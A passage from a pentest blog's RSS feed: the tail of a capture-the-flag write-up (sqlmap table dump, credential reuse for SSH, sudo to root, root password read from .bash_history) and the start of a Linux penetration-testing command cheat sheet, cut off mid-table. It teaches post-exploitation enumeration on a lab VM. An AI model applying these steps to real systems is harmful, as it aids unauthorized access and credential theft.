&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:15:44] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;WARNING] table &lt;span class=&quot;s1&quot;&gt;&apos;ehks.`user`&apos;&lt;/span&gt; dumped to CSV file &lt;span class=&quot;s1&quot;&gt;&apos;/root/.sqlmap/output/192.168.30.147/dump/ehks/user-f3649c95.csv&apos;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;12:15:44] &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;INFO] fetched data logged to text files under &lt;span class=&quot;s1&quot;&gt;&apos;/root/.sqlmap/output/192.168.30.147&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;ssh-login&quot;&gt;SSH Login&lt;/h2&gt;

&lt;p&gt;All the dumped accounts appeared to have matching SSH accounts sharing the same credentials as the vulnerable web application.&lt;/p&gt;

&lt;h2 id=&quot;linux-local-privilege-escalation&quot;&gt;Linux Local Privilege Escalation&lt;/h2&gt;

&lt;p&gt;The account &lt;code&gt;achen&lt;/code&gt; was a memeber of the sudo group.&lt;/p&gt;

&lt;p&gt;The command &lt;code&gt;sudo -s&lt;/code&gt; was executed, successfully escalating privileges to super user.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;achen@ctf4 ~]&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-s&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@ctf4 ~]# &lt;span class=&quot;nb&quot;&gt;id
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;root&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,1&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;bin&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,2&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;daemon&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,3&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;sys&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,4&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;adm&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,6&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;disk&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;,10&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;wheel&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;context&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;user_u:system_r:unconfined_t:SystemLow-SystemHigh
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root@ctf4 ~]# &lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /root/&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;post-exploitation-enumeration&quot;&gt;Post Exploitation Enumeration&lt;/h2&gt;

&lt;p&gt;There appears to be no root flag, for this capture the flag challenge.&lt;/p&gt;

&lt;p&gt;Additionally &lt;code&gt;.bash_history&lt;/code&gt; contained the root password:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;achen@ctf4 ~]&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; .bash_history
&lt;span class=&quot;nb&quot;&gt;exit
&lt;/span&gt;clear
&lt;span class=&quot;nb&quot;&gt;exit
sudo &lt;/span&gt;sy
su
root1234
su
&lt;span class=&quot;nb&quot;&gt;exit&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Thanks for the VM :)&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>Linux Commands Cheat Sheet</title>
          <link>https://hacksofdhruv.me/blog/linux-commands-cheat-sheet/</link>
          <pubDate>Tue, 02 Jan 2024 08:20:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>Pen-Testing</category>
          
          <category>linux-enum</category>
          
          <category>Enumeration</category>
          
          <category>linux-commands</category>
          
          <category>cheat-sheet</category>
          
          
          <category>cheat-sheet</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/linux-commands-cheat-sheet/</guid>
          <description>&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#linux-penetration-testing-commands&quot; id=&quot;markdown-toc-linux-penetration-testing-commands&quot;&gt;Linux Penetration Testing Commands&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#linux-network-commands&quot; id=&quot;markdown-toc-linux-network-commands&quot;&gt;Linux Network Commands&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#system-information-commands&quot; id=&quot;markdown-toc-system-information-commands&quot;&gt;System Information Commands&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#redhat--centos--rpm-based-distros&quot; id=&quot;markdown-toc-redhat--centos--rpm-based-distros&quot;&gt;Redhat / CentOS / RPM Based Distros&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#yum-commands&quot; id=&quot;markdown-toc-yum-commands&quot;&gt;YUM Commands&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#debian--ubuntu--deb-based-distros&quot; id=&quot;markdown-toc-debian--ubuntu--deb-based-distros&quot;&gt;Debian / Ubuntu / .deb Based Distros&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#linux-user-management&quot; id=&quot;markdown-toc-linux-user-management&quot;&gt;Linux User Management&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#linux-decompression-commands&quot; id=&quot;markdown-toc-linux-decompression-commands&quot;&gt;Linux Decompression Commands&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#linux-compression-commands&quot; id=&quot;markdown-toc-linux-compression-commands&quot;&gt;Linux Compression Commands&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#linux-file-commands&quot; id=&quot;markdown-toc-linux-file-commands&quot;&gt;Linux File Commands&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#samba-commands&quot; id=&quot;markdown-toc-samba-commands&quot;&gt;Samba Commands&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#breaking-out-of-limited-shells&quot; id=&quot;markdown-toc-breaking-out-of-limited-shells&quot;&gt;Breaking Out of Limited Shells&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#misc-commands&quot; id=&quot;markdown-toc-misc-commands&quot;&gt;Misc Commands&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#linux-file-system-permissions&quot; id=&quot;markdown-toc-linux-file-system-permissions&quot;&gt;Linux File System Permissions&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#linux-file-system&quot; id=&quot;markdown-toc-linux-file-system&quot;&gt;Linux File System&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#linux-interesting-files--dirs&quot; id=&quot;markdown-toc-linux-interesting-files--dirs&quot;&gt;Linux Interesting Files / Dir’s&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A collection of hopefully useful Linux Commands for pen testers, this is not a complete list but a collection of commonly used commands + syntax as a sort of “cheatsheet”, this content will be constantly updated as I discover new awesomeness.&lt;/p&gt;

&lt;h2 id=&quot;linux-penetration-testing-commands&quot;&gt;Linux Penetration Testing Commands&lt;/h2&gt;

&lt;p&gt;The commands listed below are designed for local enumeration, typical commands a penetration tester would use during post exploitation or when performing command injection etc. See our pen test cheat sheet for an in depth list of &lt;a href=&quot;/blog/penetration-testing-tools-cheat-sheet/&quot;&gt;pen testing tool commands&lt;/a&gt; and example usage.&lt;/p&gt;

&lt;h3 id=&quot;linux-network-commands&quot;&gt;Linux Network Commands&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;netstat -tulpn&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Show Linux network ports with process ID&apos;s (PIDs)

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;watch ss -stplu&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Watch TCP, UDP open ports in real time with socket summary.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;lsof -i&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Show established connections.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;macchanger -m MACADDR INTR&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;
        Change MAC address on KALI Linux.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;ifconfig eth0 192.168.2.1/24&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Set IP address in Linux.
        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;ifconfig eth0:1 192.168.2.3/24&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Add IP address to existing network interface in Linux.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;ifconfig eth0 hw ether MACADDR&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Change MAC address in Linux using ifconfig.  

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;ifconfig eth0 mtu 1500&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Change MTU size Linux using ifconfig, change 1500 to your desired MTU.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;dig -x 192.168.1.1 &lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Dig reverse lookup on an IP address.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;host 192.168.1.1 &lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Reverse lookup on an IP address, in case dig is not installed.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;dig @192.168.2.2 domain.com -t AXFR&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Perform a DNS zone transfer using dig.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;host -l domain.com nameserver&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Perform a DNS zone transfer using host.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;nbtstat -A x.x.x.x&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Get hostname for IP address.   

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;ip addr add 192.168.2.22/24 dev eth0&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Adds a hidden IP address to Linux, does not show up when performing an ifconfig.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;tcpkill -9 host google.com&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Blocks access to google.com from the host machine.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;echo &quot;1&quot; &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Enables IP forwarding, turns Linux box into a router - handy for routing traffic through a box.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;echo &quot;8.8.8.8&quot; &amp;gt; /etc/resolv.conf&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Use Google DNS.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;


    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;system-information-commands&quot;&gt;System Information Commands&lt;/h3&gt;

&lt;p&gt;Useful for local enumeration.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;whoami&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Shows currently logged in user on Linux.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;id&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Shows currently logged in user and groups for the user.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;last&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Shows last logged in users.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;mount&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Show mounted drives.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;df -h&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Shows disk usage in human readable output.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;echo &quot;user:passwd&quot; | chpasswd&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Reset password in one line.  

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;getent passwd&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          List users on Linux.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;strings /usr/local/bin/blah&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Shows contents of none text files, e.g. whats in a binary.   

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;uname -ar&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Shows running kernel version.   

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;PATH=$PATH:/my/new-path&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Add a new PATH, handy for local FS manipulation.   

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;history&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Show bash history, commands the user has entered previously.   

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;


  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h4 id=&quot;redhat--centos--rpm-based-distros&quot;&gt;Redhat / CentOS / RPM Based Distros&lt;/h4&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;cat /etc/redhat-release&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Shows Redhat / CentOS version number.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;rpm -qa&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          List all installed RPM&apos;s on an RPM based Linux distro.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;rpm -q --changelog openvpn&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Check installed RPM is patched against CVE,  grep the output for CVE.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h4 id=&quot;yum-commands&quot;&gt;YUM Commands&lt;/h4&gt;

&lt;p&gt;Package manager used by RPM based systems, you can pull some usefull information about installed packages and or install additional tools.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;yum update&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Update all RPM packages with YUM, also shows whats out of date.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;yum update httpd&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Update individual packages, in this example HTTPD (Apache).

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;yum install package&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Install a package using YUM.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;yum --exclude=package kernel* update&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Exclude a package from being updates with YUM.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;yum remove package&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Remove package with YUM.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;yum erase package&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Remove package with YUM.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;yum list package&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Lists info about yum package.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;yum provides httpd&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          What a packages does, e.g Apache HTTPD Server.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;yum info httpd&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Shows package info, architecture, version etc.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;yum localinstall blah.rpm&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Use YUM to install local RPM, settles deps from repo.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;yum deplist package&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Shows deps for a package.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;yum list installed | more&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          List all installed packages.  

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;yum grouplist | more&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Show all YUM groups.  

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;yum groupinstall &apos;Development Tools&apos;&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Install YUM group.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

  &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h4 id=&quot;debian--ubuntu--deb-based-distros&quot;&gt;Debian / Ubuntu / .deb Based Distros&lt;/h4&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;cat /etc/debian_version&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Shows Debian version number.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;cat /etc/*-release&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Shows Ubuntu version number.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;dpkg -l&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          List all installed packages on Debian / .deb based Linux distro.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;linux-user-management&quot;&gt;Linux User Management&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;useradd new-user&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Creates a new Linux user.  

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;passwd username&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Reset Linux user password, enter just &lt;code&gt;passwd&lt;/code&gt; if you are root.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;deluser username&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Remove a Linux user.

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;
    &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;linux-decompression-commands&quot;&gt;Linux Decompression Commands&lt;/h3&gt;

&lt;p&gt;How to extract various archives (tar, zip, gzip, bzip2 etc) on Linux and some other tricks for searching inside of archives etc.&lt;/p&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Command&lt;/th&gt;
      &lt;th&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;unzip archive.zip&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Extracts zip file on Linux.  

        &lt;/p&gt;
      &lt;/td&gt;
    &lt;/tr&gt;

    &lt;tr&gt;
      &lt;td&gt;
        &lt;p&gt;&lt;code&gt;zipgrep *.txt archive.zip&lt;/code&gt;&lt;/p&gt;
      &lt;/td&gt;
      &lt;td&gt;
        &lt;p&gt;

          Search inside a .zip archive.  

        &lt;/p&gt;
      &lt;/td&gt;
